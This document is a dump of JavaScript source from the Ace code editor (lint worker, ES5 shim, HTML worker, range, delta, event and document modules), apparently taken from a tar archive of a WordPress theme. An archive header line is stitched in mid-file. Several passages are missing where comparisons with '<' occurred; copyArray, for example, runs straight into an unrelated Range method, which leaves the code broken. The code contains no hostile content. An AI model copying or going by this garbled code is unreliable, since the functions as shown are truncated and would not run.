ace.define("ace/mode/javascript_worker",["require","exports","module","ace/lib/oop","ace/worker/mirror","ace/mode/javascript/jshint"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var Mirror = require("../worker/mirror").Mirror; var lint = require("./javascript/jshint").JSHINT; function startRegex(arr) { return RegExp("^(" + arr.join("|") + ")"); } var disabledWarningsRe = startRegex([ "Bad for in variable '(.+)'.", 'Missing "use strict"' ]); var errorsRe = startRegex([ "Unexpected", "Expected ", "Confusing (plus|minus)", "\\{a\\} unterminated regular expression", "Unclosed ", "Unmatched ", "Unbegun comment", "Bad invocation", "Missing space after", "Missing operator at" ]); var infoRe = startRegex([ "Expected an assignment", "Bad escapement of EOL", "Unexpected comma", "Unexpected space", "Missing radix parameter.", "A leading decimal point can", "\\['{a}'\\] is better written in dot notation.", "'{a}' used out of scope" ]); var JavaScriptWorker = exports.JavaScriptWorker = function(sender) { Mirror.call(this, sender); this.setTimeout(500); this.setOptions(); }; oop.inherits(JavaScriptWorker, Mirror); (function() { this.setOptions = function(options) { this.options = options || { esnext: true, moz: true, devel: true, browser: true, node: true, laxcomma: true, laxbreak: true, lastsemic: true, onevar: false, passfail: false, maxerr: 100, expr: true, multistr: true, globalstrict: true }; this.doc.getValue() && this.deferredUpdate.schedule(100); }; this.changeOptions = function(newOptions) { oop.mixin(this.options, newOptions); this.doc.getValue() && this.deferredUpdate.schedule(100); }; this.isValidJS = function(str) { try { eval("throw 0;" + str); } catch(e) { if (e === 0) return true; } return false }; this.onUpdate = function() { var value = this.doc.getValue(); value = value.replace(/^#!.*\n/, "\n"); if (!value) return this.sender.emit("annotate", []); var errors = []; var maxErrorLevel = this.isValidJS(value) ? "warning" : "error"; lint(value, this.options); var results = lint.errors; var errorAdded = false for (var i = 0; i < results.length; i++) { var error = results[i]; if (!error) continue; var raw = error.raw; var type = "warning"; if (raw == "Missing semicolon.") { var str = error.evidence.substr(error.character); str = str.charAt(str.search(/\S/)); if (maxErrorLevel == "error" && str && /[\w\d{(['"]/.test(str)) { error.reason = 'Missing ";" before statement'; type = "error"; } else { type = "info"; } } else if (disabledWarningsRe.test(raw)) { continue; } else if (infoRe.test(raw)) { type = "info" } else if (errorsRe.test(raw)) { errorAdded = true; type = maxErrorLevel; } else if (raw == "'{a}' is not defined.") { type = "warning"; } else if (raw == "'{a}' is defined but never used.") { type = "info"; } errors.push({ row: error.line-1, column: error.character-1, text: error.reason, type: type, raw: raw }); if (errorAdded) { } } this.sender.emit("annotate", errors); }; }).call(JavaScriptWorker.prototype); }); ace.define("ace/lib/es5-shim",["require","exports","module"], function(require, exports, module) { function Empty() {} if (!Function.prototype.bind) { Function.prototype.bind = function bind(that) { // .length is 1 var target = this; if (typeof target != "function") { throw new TypeError("Function.prototype.bind called on incompatible " + target); } var args = slice.call(arguments, 1); // for normal call var bound = function () { if (this instanceof bound) { var result = target.apply( this, args.concat(slice.call(arguments)) ); if (Object(result) === result) { return result; } return this; } else { return target.apply( that, args.concat(slice.call(arguments)) ); } }; if(target.prototype) { Empty.prototype = target.prototype; bound.prototype = new Empty(); Empty.prototype = null; } return bound; }; } var call = Function.prototype.call; var prototypeOfArray = Array.prototype; var prototypeOfObject = Object.prototype; var slice = prototypeOfArray.slice; var _toString = call.bind(prototypeOfObject.toString); var owns = call.bind(prototypeOfObject.hasOwnProperty); var defineGetter; var defineSetter; var lookupGetter; var lookupSetter; var supportsAccessors; if ((supportsAccessors = owns(prototypeOfObject, "__defineGetter__"))) { defineGetter = call.bind(prototypeOfObject.__defineGetter__); defineSetter = call.bind(prototypeOfObject.__defineSetter__); lookupGetter = call.bind(prototypeOfObject.__lookupGetter__); lookupSetter = call.bind(prototypeOfObject.__lookupSetter__); } if ([1,2].splice(0).length != 2) { if(function() { // test IE < 9 to splice bug - see issue #138 function makeArray(l) { var a = new Array(l+2); a[0] = a[1] = 0; return a; } var array = [], lengthBefore; array.splice.apply(array, makeArray(20)); array.splice.apply(array, makeArray(26)); lengthBefore = array.length; //46 array.splice(5, 0, "XXX"); // add one element lengthBefore + 1 == array.length if (lengthBefore + 1 == array.length) { return true;// has right splice implementation without bugs } }()) {//IE 6/7 var array_splice = Array.prototype.splice; Array.prototype.splice = function(start, deleteCount) { if (!arguments.length) { return []; } else { return array_splice.apply(this, [ start === void 0 ? 0 : start, deleteCount === void 0 ? (this.length - start) : deleteCount ].concat(slice.call(arguments, 2))) } }; } else {//IE8 Array.prototype.splice = function(pos, removeCount){ var length = this.length; if (pos > 0) { if (pos > length) pos = length; } else if (pos == void 0) { pos = 0; } else if (pos < 0) { pos = Math.max(length + pos, 0); } if (!(pos+removeCount < length)) removeCount = length - pos; var removed = this.slice(pos, pos+removeCount); var insert = slice.call(arguments, 2); var add = insert.length; if (pos === length) { if (add) { this.push.apply(this, insert); } } else { var remove = Math.min(removeCount, length - pos); var tailOldPos = pos + remove; var tailNewPos = tailOldPos + add - remove; var tailCount = length - tailOldPos; var lengthAfterRemove = length - remove; if (tailNewPos < tailOldPos) { // case A for (var i = 0; i < tailCount; ++i) { this[tailNewPos+i] = this[tailOldPos+i]; } } else if (tailNewPos > tailOldPos) { // case B for (i = tailCount; i--; ) { this[tailNewPos+i] = this[tailOldPos+i]; } } // else, add == remove (nothing to do) if (add && pos === lengthAfterRemove) { this.length = lengthAfterRemove; // truncate array this.push.apply(this, insert); } else { this.length = lengthAfterRemove + add; // reserves space for (i = 0; i < add; ++i) { this[pos+i] = insert[i]; } } } return removed; }; } } if (!Array.isArray) { Array.isArray = function isArray(obj) { return _toString(obj) == "[object Array]"; }; } var boxedString = Object("a"), splitString = boxedString[0] != "a" || !(0 in boxedString); if (!Array.prototype.forEach) { Array.prototype.forEach = function forEach(fun /*, thisp*/) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, thisp = arguments[1], i = -1, length = self.length >>> 0; if (_toString(fun) != "[object Function]") { throw new TypeError(); // TODO message } while (++i < length) { if (i in self) { fun.call(thisp, self[i], i, object); } } }; } if (!Array.prototype.map) { Array.prototype.map = function map(fun /*, thisp*/) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, length = self.length >>> 0, result = Array(length), thisp = arguments[1]; if (_toString(fun) != "[object Function]") { throw new TypeError(fun + " is not a function"); } for (var i = 0; i < length; i++) { if (i in self) result[i] = fun.call(thisp, self[i], i, object); } return result; }; } if (!Array.prototype.filter) { Array.prototype.filter = function filter(fun /*, thisp */) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, length = self.length >>> 0, result = [], value, thisp = arguments[1]; if (_toString(fun) != "[object Function]") { throw new TypeError(fun + " is not a function"); } for (var i = 0; i < length; i++) { if (i in self) { value = self[i]; if (fun.call(thisp, value, i, object)) { result.push(value); } } } return result; }; } if (!Array.prototype.every) { Array.prototype.every = function every(fun /*, thisp */) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, length = self.length >>> 0, thisp = arguments[1]; if (_toString(fun) != "[object Function]") { throw new TypeError(fun + " is not a function"); } for (var i = 0; i < length; i++) { if (i in self && !fun.call(thisp, self[i], i, object)) { return false; } } return true; }; } if (!Array.prototype.some) { Array.prototype.some = function some(fun /*, thisp */) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, length = self.length >>> 0, thisp = arguments[1]; if (_toString(fun) != "[object Function]") { throw new TypeError(fun + " is not a function"); } for (var i = 0; i < length; i++) { if (i in self && fun.call(thisp, self[i], i, object)) { return true; } } return false; }; } if (!Array.prototype.reduce) { Array.prototype.reduce = function reduce(fun /*, initial*/) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, length = self.length >>> 0; if (_toString(fun) != "[object Function]") { throw new TypeError(fun + " is not a function"); } if (!length && arguments.length == 1) { throw new TypeError("reduce of empty array with no initial value"); } var i = 0; var result; if (arguments.length >= 2) { result = arguments[1]; } else { do { if (i in self) { result = self[i++]; break; } if (++i >= length) { throw new TypeError("reduce of empty array with no initial value"); } } while (true); } for (; i < length; i++) { if (i in self) { result = fun.call(void 0, result, self[i], i, object); } } return result; }; } if (!Array.prototype.reduceRight) { Array.prototype.reduceRight = function reduceRight(fun /*, initial*/) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, length = self.length >>> 0; if (_toString(fun) != "[object Function]") { throw new TypeError(fun + " is not a function"); } if (!length && arguments.length == 1) { throw new TypeError("reduceRight of empty array with no initial value"); } var result, i = length - 1; if (arguments.length >= 2) { result = arguments[1]; } else { do { if (i in self) { result = self[i--]; break; } if (--i < 0) { throw new TypeError("reduceRight of empty array with no initial value"); } } while (true); } do { if (i in this) { result = fun.call(void 0, result, self[i], i, object); } } while (i--); return result; }; } if (!Array.prototype.indexOf || ([0, 1].indexOf(1, 2) != -1)) { Array.prototype.indexOf = function indexOf(sought /*, fromIndex */ ) { var self = splitString && _toString(this) == "[object String]" ? this.split("") : toObject(this), length = self.length >>> 0; if (!length) { return -1; } var i = 0; if (arguments.length > 1) { i = toInteger(arguments[1]); } i = i >= 0 ? i : Math.max(0, length + i); for (; i < length; i++) { if (i in self && self[i] === sought) { return i; } } return -1; }; } if (!Array.prototype.lastIndexOf || ([0, 1].lastIndexOf(0, -3) != -1)) { Array.prototype.lastIndexOf = function lastIndexOf(sought /*, fromIndex */) { var self = splitString && _toString(this) == "[object String]" ? this.split("") : toObject(this), length = self.length >>> 0; if (!length) { return -1; } var i = length - 1; if (arguments.length > 1) { i = Math.min(i, toInteger(arguments[1])); } i = i >= 0 ? i : length - Math.abs(i); for (; i >= 0; i--) { if (i in self && sought === self[i]) { return i; } } return -1; }; } if (!Object.getPrototypeOf) { Object.getPrototypeOf = function getPrototypeOf(object) { return object.__proto__ || ( object.constructor ? object.constructor.prototype : prototypeOfObject ); }; } if (!Object.getOwnPropertyDescriptor) { var ERR_NON_OBJECT = "Object.getOwnPropertyDescriptor called on a " + "non-object: "; Object.getOwnPropertyDescriptor = function getOwnPropertyDescriptor(object, property) { if ((typeof object != "object" && typeof object != "function") || object === null) throw new TypeError(ERR_NON_OBJECT + object); if (!owns(object, property)) return; var descriptor, getter, setter; descriptor = { enumerable: true, configurable: true }; if (supportsAccessors) { var prototype = object.__proto__; object.__proto__ = prototypeOfObject; var getter = lookupGetter(object, property); var setter = lookupSetter(object, property); object.__proto__ = prototype; if (getter || setter) { if (getter) descriptor.get = getter; if (setter) descriptor.set = setter; return descriptor; } } descriptor.value = object[property]; return descriptor; }; } if (!Object.getOwnPropertyNames) { Object.getOwnPropertyNames = function getOwnPropertyNames(object) { return Object.keys(object); }; } if (!Object.create) { var createEmpty; if (Object.prototype.__proto__ === null) { createEmpty = function () { return { "__proto__": null }; }; } else { createEmpty = function () { var empty = {}; for (var i in empty) empty[i] = null; empty.constructor = empty.hasOwnProperty = empty.propertyIsEnumerable = empty.isPrototypeOf = empty.toLocaleString = empty.toString = empty.valueOf = empty.__proto__ = null; return empty; } } Object.create = function create(prototype, properties) { var object; if (prototype === null) { object = createEmpty(); } else { if (typeof prototype != "object") throw new TypeError("typeof prototype["+(typeof prototype)+"] != 'object'"); var Type = function () {}; Type.prototype = prototype; object = new Type(); object.__proto__ = prototype; } if (properties !== void 0) Object.defineProperties(object, properties); return object; }; } function doesDefinePropertyWork(object) { try { Object.defineProperty(object, "sentinel", {}); return "sentinel" in object; } catch (exception) { } } if (Object.defineProperty) { var definePropertyWorksOnObject = doesDefinePropertyWork({}); var definePropertyWorksOnDom = typeof document == "undefined" || doesDefinePropertyWork(document.createElement("div")); if (!definePropertyWorksOnObject || !definePropertyWorksOnDom) { var definePropertyFallback = Object.defineProperty; } } if (!Object.defineProperty || definePropertyFallback) { var ERR_NON_OBJECT_DESCRIPTOR = "Property description must be an object: "; var ERR_NON_OBJECT_TARGET = "Object.defineProperty called on non-object: " var ERR_ACCESSORS_NOT_SUPPORTED = "getters & setters can not be defined " + "on this javascript engine"; Object.defineProperty = function defineProperty(object, property, descriptor) { if ((typeof object != "object" && typeof object != "function") || object === null) throw new TypeError(ERR_NON_OBJECT_TARGET + object); if ((typeof descriptor != "object" && typeof descriptor != "function") || descriptor === null) throw new TypeError(ERR_NON_OBJECT_DESCRIPTOR + descriptor); if (definePropertyFallback) { try { return definePropertyFallback.call(Object, object, property, descriptor); } catch (exception) { } } if (owns(descriptor, "value")) { if (supportsAccessors && (lookupGetter(object, property) || lookupSetter(object, property))) { var prototype = object.__proto__; object.__proto__ = prototypeOfObject; delete object[property]; object[property] = descriptor.value; object.__proto__ = prototype; } else { object[property] = descriptor.value; } } else { if (!supportsAccessors) throw new TypeError(ERR_ACCESSORS_NOT_SUPPORTED); if (owns(descriptor, "get")) defineGetter(object, property, descriptor.get); if (owns(descriptor, "set")) defineSetter(object, property, descriptor.set); } return object; }; } if (!Object.defineProperties) { Object.defineProperties = function defineProperties(object, properties) { for (var property in properties) { if (owns(properties, property)) Object.defineProperty(object, property, properties[property]); } return object; }; } if (!Object.seal) { Object.seal = function seal(object) { return object; }; } if (!Object.freeze) { Object.freeze = function freeze(object) { return object; }; } try { Object.freeze(function () {}); } catch (exception) { Object.freeze = (function freeze(freezeObject) { return function freeze(object) { if (typeof object == "function") { return object; } else { return freezeObject(object); } }; })(Object.freeze); } if (!Object.preventExtensions) { Object.preventExtensions = function preventExtensions(object) { return object; }; } if (!Object.isSealed) { Object.isSealed = function isSealed(object) { return false; }; } if (!Object.isFrozen) { Object.isFrozen = function isFrozen(object) { return false; }; } if (!Object.isExtensible) { Object.isExtensible = function isExtensible(object) { if (Object(object) === object) { throw new TypeError(); // TODO message } var name = ''; while (owns(object, name)) { name += '?'; } object[name] = true; var returnValue = owns(object, name); delete object[name]; return returnValue; }; } if (!Object.keys) { var hasDontEnumBug = true, dontEnums = [ "toString", "toLocaleString", "valueOf", "hasOwnProperty", "isPrototypeOf", "propertyIsEnumerable", "constructor" ], dontEnumsLength = dontEnums.length; for (var key in {"toString": null}) { hasDontEnumBug = false; } Object.keys = function keys(object) { if ( (typeof object != "object" && typeof object != "function") || object === null ) { throw new TypeError("Object.keys called on a non-object"); } var keys = []; for (var name in object) { if (owns(object, name)) { keys.push(name); } } if (hasDontEnumBug) { for (var i = 0, ii = dontEnumsLength; i < ii; i++) { var dontEnum = dontEnums[i]; if (owns(object, dontEnum)) { keys.push(dontEnum); } } } return keys; }; } if (!Date.now) { Date.now = function now() { return new Date().getTime(); }; } var ws = "\x09\x0A\x0B\x0C\x0D\x20\xA0\u1680\u180E\u2000\u2001\u2002\u2003" + "\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028" + "\u2029\uFEFF"; if (!String.prototype.trim || ws.trim()) { ws = "[" + ws + "]"; var trimBeginRegexp = new RegExp("^" + ws + ws + "*"), trimEndRegexp = new RegExp(ws + ws + "*$"); String.prototype.trim = function trim() { return String(this).replace(trimBeginRegexp, "").replace(trimEndRegexp, ""); }; } function toInteger(n) { n = +n; if (n !== n) { // isNaN n = 0; } else if (n !== 0 && n !== (1/0) && n !== -(1/0)) { n = (n > 0 || -1) * Math.floor(Math.abs(n)); } return n; } function isPrimitive(input) { var type = typeof input; return ( input === null || type === "undefined" || type === "boolean" || type === "number" || type === "string" ); } function toPrimitive(input) { var val, valueOf, toString; if (isPrimitive(input)) { return input; } valueOf = input.valueOf; if (typeof valueOf === "function") { val = valueOf.call(input); if (isPrimitive(val)) { return val; } } toString = input.toString; if (typeof toString === "function") { val = toString.call(input); if (isPrimitive(val)) { return val; } } throw new TypeError(); } var toObject = function (o) { if (o == null) { // this matches both null and undefined throw new TypeError("can't convert "+o+" to object"); } return Object(o); }; }); Avada/includes/lib/inc/redux/custom-fields/ace_editor/worker-html.js000064400001224513152342437700021540 0ustar00"no use strict"; ;(function(window) { if (typeof window.window != "undefined" && window.document) return; if (window.require && window.define) return; if (!window.console) { window.console = function() { var msgs = Array.prototype.slice.call(arguments, 0); postMessage({type: "log", data: msgs}); }; window.console.error = window.console.warn = window.console.log = window.console.trace = window.console; } window.window = window; window.ace = window; window.onerror = function(message, file, line, col, err) { postMessage({type: "error", data: { message: message, data: err.data, file: file, line: line, col: col, stack: err.stack }}); }; window.normalizeModule = function(parentId, moduleName) { // normalize plugin requires if (moduleName.indexOf("!") !== -1) { var chunks = moduleName.split("!"); return window.normalizeModule(parentId, chunks[0]) + "!" + window.normalizeModule(parentId, chunks[1]); } // normalize relative requires if (moduleName.charAt(0) == ".") { var base = parentId.split("/").slice(0, -1).join("/"); moduleName = (base ? base + "/" : "") + moduleName; while (moduleName.indexOf(".") !== -1 && previous != moduleName) { var previous = moduleName; moduleName = moduleName.replace(/^\.\//, "").replace(/\/\.\//, "/").replace(/[^\/]+\/\.\.\//, ""); } } return moduleName; }; window.require = function require(parentId, id) { if (!id) { id = parentId; parentId = null; } if (!id.charAt) throw new Error("worker.js require() accepts only (parentId, id) as arguments"); id = window.normalizeModule(parentId, id); var module = window.require.modules[id]; if (module) { if (!module.initialized) { module.initialized = true; module.exports = module.factory().exports; } return module.exports; } if (!window.require.tlns) return console.log("unable to load " + id); var path = resolveModuleId(id, window.require.tlns); if (path.slice(-3) != ".js") path += ".js"; window.require.id = id; window.require.modules[id] = {}; // prevent infinite loop on broken modules importScripts(path); return window.require(parentId, id); }; function resolveModuleId(id, paths) { var testPath = id, tail = ""; while (testPath) { var alias = paths[testPath]; if (typeof alias == "string") { return alias + tail; } else if (alias) { return alias.location.replace(/\/*$/, "/") + (tail || alias.main || alias.name); } else if (alias === false) { return ""; } var i = testPath.lastIndexOf("/"); if (i === -1) break; tail = testPath.substr(i) + tail; testPath = testPath.slice(0, i); } return id; } window.require.modules = {}; window.require.tlns = {}; window.define = function(id, deps, factory) { if (arguments.length == 2) { factory = deps; if (typeof id != "string") { deps = id; id = window.require.id; } } else if (arguments.length == 1) { factory = id; deps = []; id = window.require.id; } if (typeof factory != "function") { window.require.modules[id] = { exports: factory, initialized: true }; return; } if (!deps.length) // If there is no dependencies, we inject "require", "exports" and // "module" as dependencies, to provide CommonJS compatibility. deps = ["require", "exports", "module"]; var req = function(childId) { return window.require(id, childId); }; window.require.modules[id] = { exports: {}, factory: function() { var module = this; var returnExports = factory.apply(this, deps.map(function(dep) { switch (dep) { // Because "require", "exports" and "module" aren't actual // dependencies, we must handle them seperately. case "require": return req; case "exports": return module.exports; case "module": return module; // But for all other dependencies, we can just go ahead and // require them. default: return req(dep); } })); if (returnExports) module.exports = returnExports; return module; } }; }; window.define.amd = {}; require.tlns = {}; window.initBaseUrls = function initBaseUrls(topLevelNamespaces) { for (var i in topLevelNamespaces) require.tlns[i] = topLevelNamespaces[i]; }; window.initSender = function initSender() { var EventEmitter = window.require("ace/lib/event_emitter").EventEmitter; var oop = window.require("ace/lib/oop"); var Sender = function() {}; (function() { oop.implement(this, EventEmitter); this.callback = function(data, callbackId) { postMessage({ type: "call", id: callbackId, data: data }); }; this.emit = function(name, data) { postMessage({ type: "event", name: name, data: data }); }; }).call(Sender.prototype); return new Sender(); }; var main = window.main = null; var sender = window.sender = null; window.onmessage = function(e) { var msg = e.data; if (msg.event && sender) { sender._signal(msg.event, msg.data); } else if (msg.command) { if (main[msg.command]) main[msg.command].apply(main, msg.args); else if (window[msg.command]) window[msg.command].apply(window, msg.args); else throw new Error("Unknown command:" + msg.command); } else if (msg.init) { window.initBaseUrls(msg.tlns); require("ace/lib/es5-shim"); sender = window.sender = window.initSender(); var clazz = require(msg.module)[msg.classname]; main = window.main = new clazz(sender); } }; })(this); ace.define("ace/lib/oop",["require","exports","module"], function(require, exports, module) { "use strict"; exports.inherits = function(ctor, superCtor) { ctor.super_ = superCtor; ctor.prototype = Object.create(superCtor.prototype, { constructor: { value: ctor, enumerable: false, writable: true, configurable: true } }); }; exports.mixin = function(obj, mixin) { for (var key in mixin) { obj[key] = mixin[key]; } return obj; }; exports.implement = function(proto, mixin) { exports.mixin(proto, mixin); }; }); ace.define("ace/lib/lang",["require","exports","module"], function(require, exports, module) { "use strict"; exports.last = function(a) { return a[a.length - 1]; }; exports.stringReverse = function(string) { return string.split("").reverse().join(""); }; exports.stringRepeat = function (string, count) { var result = ''; while (count > 0) { if (count & 1) result += string; if (count >>= 1) string += string; } return result; }; var trimBeginRegexp = /^\s\s*/; var trimEndRegexp = /\s\s*$/; exports.stringTrimLeft = function (string) { return string.replace(trimBeginRegexp, ''); }; exports.stringTrimRight = function (string) { return string.replace(trimEndRegexp, ''); }; exports.copyObject = function(obj) { var copy = {}; for (var key in obj) { copy[key] = obj[key]; } return copy; }; exports.copyArray = function(array){ var copy = []; for (var i=0, l=array.length; i [" + this.end.row + "/" + this.end.column + "]"); }; this.contains = function(row, column) { return this.compare(row, column) == 0; }; this.compareRange = function(range) { var cmp, end = range.end, start = range.start; cmp = this.compare(end.row, end.column); if (cmp == 1) { cmp = this.compare(start.row, start.column); if (cmp == 1) { return 2; } else if (cmp == 0) { return 1; } else { return 0; } } else if (cmp == -1) { return -2; } else { cmp = this.compare(start.row, start.column); if (cmp == -1) { return -1; } else if (cmp == 1) { return 42; } else { return 0; } } }; this.comparePoint = function(p) { return this.compare(p.row, p.column); }; this.containsRange = function(range) { return this.comparePoint(range.start) == 0 && this.comparePoint(range.end) == 0; }; this.intersects = function(range) { var cmp = this.compareRange(range); return (cmp == -1 || cmp == 0 || cmp == 1); }; this.isEnd = function(row, column) { return this.end.row == row && this.end.column == column; }; this.isStart = function(row, column) { return this.start.row == row && this.start.column == column; }; this.setStart = function(row, column) { if (typeof row == "object") { this.start.column = row.column; this.start.row = row.row; } else { this.start.row = row; this.start.column = column; } }; this.setEnd = function(row, column) { if (typeof row == "object") { this.end.column = row.column; this.end.row = row.row; } else { this.end.row = row; this.end.column = column; } }; this.inside = function(row, column) { if (this.compare(row, column) == 0) { if (this.isEnd(row, column) || this.isStart(row, column)) { return false; } else { return true; } } return false; }; this.insideStart = function(row, column) { if (this.compare(row, column) == 0) { if (this.isEnd(row, column)) { return false; } else { return true; } } return false; }; this.insideEnd = function(row, column) { if (this.compare(row, column) == 0) { if (this.isStart(row, column)) { return false; } else { return true; } } return false; }; this.compare = function(row, column) { if (!this.isMultiLine()) { if (row === this.start.row) { return column < this.start.column ? -1 : (column > this.end.column ? 1 : 0); } } if (row < this.start.row) return -1; if (row > this.end.row) return 1; if (this.start.row === row) return column >= this.start.column ? 0 : -1; if (this.end.row === row) return column <= this.end.column ? 0 : 1; return 0; }; this.compareStart = function(row, column) { if (this.start.row == row && this.start.column == column) { return -1; } else { return this.compare(row, column); } }; this.compareEnd = function(row, column) { if (this.end.row == row && this.end.column == column) { return 1; } else { return this.compare(row, column); } }; this.compareInside = function(row, column) { if (this.end.row == row && this.end.column == column) { return 1; } else if (this.start.row == row && this.start.column == column) { return -1; } else { return this.compare(row, column); } }; this.clipRows = function(firstRow, lastRow) { if (this.end.row > lastRow) var end = {row: lastRow + 1, column: 0}; else if (this.end.row < firstRow) var end = {row: firstRow, column: 0}; if (this.start.row > lastRow) var start = {row: lastRow + 1, column: 0}; else if (this.start.row < firstRow) var start = {row: firstRow, column: 0}; return Range.fromPoints(start || this.start, end || this.end); }; this.extend = function(row, column) { var cmp = this.compare(row, column); if (cmp == 0) return this; else if (cmp == -1) var start = {row: row, column: column}; else var end = {row: row, column: column}; return Range.fromPoints(start || this.start, end || this.end); }; this.isEmpty = function() { return (this.start.row === this.end.row && this.start.column === this.end.column); }; this.isMultiLine = function() { return (this.start.row !== this.end.row); }; this.clone = function() { return Range.fromPoints(this.start, this.end); }; this.collapseRows = function() { if (this.end.column == 0) return new Range(this.start.row, 0, Math.max(this.start.row, this.end.row-1), 0) else return new Range(this.start.row, 0, this.end.row, 0) }; this.toScreenRange = function(session) { var screenPosStart = session.documentToScreenPosition(this.start); var screenPosEnd = session.documentToScreenPosition(this.end); return new Range( screenPosStart.row, screenPosStart.column, screenPosEnd.row, screenPosEnd.column ); }; this.moveBy = function(row, column) { this.start.row += row; this.start.column += column; this.end.row += row; this.end.column += column; }; }).call(Range.prototype); Range.fromPoints = function(start, end) { return new Range(start.row, start.column, end.row, end.column); }; Range.comparePoints = comparePoints; Range.comparePoints = function(p1, p2) { return p1.row - p2.row || p1.column - p2.column; }; exports.Range = Range; }); ace.define("ace/apply_delta",["require","exports","module"], function(require, exports, module) { "use strict"; function throwDeltaError(delta, errorText){ console.log("Invalid Delta:", delta); throw "Invalid Delta: " + errorText; } function positionInDocument(docLines, position) { return position.row >= 0 && position.row < docLines.length && position.column >= 0 && position.column <= docLines[position.row].length; } function validateDelta(docLines, delta) { if (delta.action != "insert" && delta.action != "remove") throwDeltaError(delta, "delta.action must be 'insert' or 'remove'"); if (!(delta.lines instanceof Array)) throwDeltaError(delta, "delta.lines must be an Array"); if (!delta.start || !delta.end) throwDeltaError(delta, "delta.start/end must be an present"); var start = delta.start; if (!positionInDocument(docLines, delta.start)) throwDeltaError(delta, "delta.start must be contained in document"); var end = delta.end; if (delta.action == "remove" && !positionInDocument(docLines, end)) throwDeltaError(delta, "delta.end must contained in document for 'remove' actions"); var numRangeRows = end.row - start.row; var numRangeLastLineChars = (end.column - (numRangeRows == 0 ? start.column : 0)); if (numRangeRows != delta.lines.length - 1 || delta.lines[numRangeRows].length != numRangeLastLineChars) throwDeltaError(delta, "delta.range must match delta lines"); } exports.applyDelta = function(docLines, delta, doNotValidate) { var row = delta.start.row; var startColumn = delta.start.column; var line = docLines[row] || ""; switch (delta.action) { case "insert": var lines = delta.lines; if (lines.length === 1) { docLines[row] = line.substring(0, startColumn) + delta.lines[0] + line.substring(startColumn); } else { var args = [row, 1].concat(delta.lines); docLines.splice.apply(docLines, args); docLines[row] = line.substring(0, startColumn) + docLines[row]; docLines[row + delta.lines.length - 1] += line.substring(startColumn); } break; case "remove": var endColumn = delta.end.column; var endRow = delta.end.row; if (row === endRow) { docLines[row] = line.substring(0, startColumn) + line.substring(endColumn); } else { docLines.splice( row, endRow - row + 1, line.substring(0, startColumn) + docLines[endRow].substring(endColumn) ); } break; } } }); ace.define("ace/lib/event_emitter",["require","exports","module"], function(require, exports, module) { "use strict"; var EventEmitter = {}; var stopPropagation = function() { this.propagationStopped = true; }; var preventDefault = function() { this.defaultPrevented = true; }; EventEmitter._emit = EventEmitter._dispatchEvent = function(eventName, e) { this._eventRegistry || (this._eventRegistry = {}); this._defaultHandlers || (this._defaultHandlers = {}); var listeners = this._eventRegistry[eventName] || []; var defaultHandler = this._defaultHandlers[eventName]; if (!listeners.length && !defaultHandler) return; if (typeof e != "object" || !e) e = {}; if (!e.type) e.type = eventName; if (!e.stopPropagation) e.stopPropagation = stopPropagation; if (!e.preventDefault) e.preventDefault = preventDefault; listeners = listeners.slice(); for (var i=0; i this.row) return; var point = $getTransformedPoint(delta, {row: this.row, column: this.column}, this.$insertRight); this.setPosition(point.row, point.column, true); }; function $pointsInOrder(point1, point2, equalPointsInOrder) { var bColIsAfter = equalPointsInOrder ? point1.column <= point2.column : point1.column < point2.column; return (point1.row < point2.row) || (point1.row == point2.row && bColIsAfter); } function $getTransformedPoint(delta, point, moveIfEqual) { var deltaIsInsert = delta.action == "insert"; var deltaRowShift = (deltaIsInsert ? 1 : -1) * (delta.end.row - delta.start.row); var deltaColShift = (deltaIsInsert ? 1 : -1) * (delta.end.column - delta.start.column); var deltaStart = delta.start; var deltaEnd = deltaIsInsert ? deltaStart : delta.end; // Collapse insert range. if ($pointsInOrder(point, deltaStart, moveIfEqual)) { return { row: point.row, column: point.column }; } if ($pointsInOrder(deltaEnd, point, !moveIfEqual)) { return { row: point.row + deltaRowShift, column: point.column + (point.row == deltaEnd.row ? deltaColShift : 0) }; } return { row: deltaStart.row, column: deltaStart.column }; } this.setPosition = function(row, column, noClip) { var pos; if (noClip) { pos = { row: row, column: column }; } else { pos = this.$clipPositionToDocument(row, column); } if (this.row == pos.row && this.column == pos.column) return; var old = { row: this.row, column: this.column }; this.row = pos.row; this.column = pos.column; this._signal("change", { old: old, value: pos }); }; this.detach = function() { this.document.removeEventListener("change", this.$onChange); }; this.attach = function(doc) { this.document = doc || this.document; this.document.on("change", this.$onChange); }; this.$clipPositionToDocument = function(row, column) { var pos = {}; if (row >= this.document.getLength()) { pos.row = Math.max(0, this.document.getLength() - 1); pos.column = this.document.getLine(pos.row).length; } else if (row < 0) { pos.row = 0; pos.column = 0; } else { pos.row = row; pos.column = Math.min(this.document.getLine(pos.row).length, Math.max(0, column)); } if (column < 0) pos.column = 0; return pos; }; }).call(Anchor.prototype); }); ace.define("ace/document",["require","exports","module","ace/lib/oop","ace/apply_delta","ace/lib/event_emitter","ace/range","ace/anchor"], function(require, exports, module) { "use strict"; var oop = require("./lib/oop"); var applyDelta = require("./apply_delta").applyDelta; var EventEmitter = require("./lib/event_emitter").EventEmitter; var Range = require("./range").Range; var Anchor = require("./anchor").Anchor; var Document = function(textOrLines) { this.$lines = [""]; if (textOrLines.length === 0) { this.$lines = [""]; } else if (Array.isArray(textOrLines)) { this.insertMergedLines({row: 0, column: 0}, textOrLines); } else { this.insert({row: 0, column:0}, textOrLines); } }; (function() { oop.implement(this, EventEmitter); this.setValue = function(text) { var len = this.getLength() - 1; this.remove(new Range(0, 0, len, this.getLine(len).length)); this.insert({row: 0, column: 0}, text); }; this.getValue = function() { return this.getAllLines().join(this.getNewLineCharacter()); }; this.createAnchor = function(row, column) { return new Anchor(this, row, column); }; if ("aaa".split(/a/).length === 0) { this.$split = function(text) { return text.replace(/\r\n|\r/g, "\n").split("\n"); }; } else { this.$split = function(text) { return text.split(/\r\n|\r|\n/); }; } this.$detectNewLine = function(text) { var match = text.match(/^.*?(\r\n|\r|\n)/m); this.$autoNewLine = match ? match[1] : 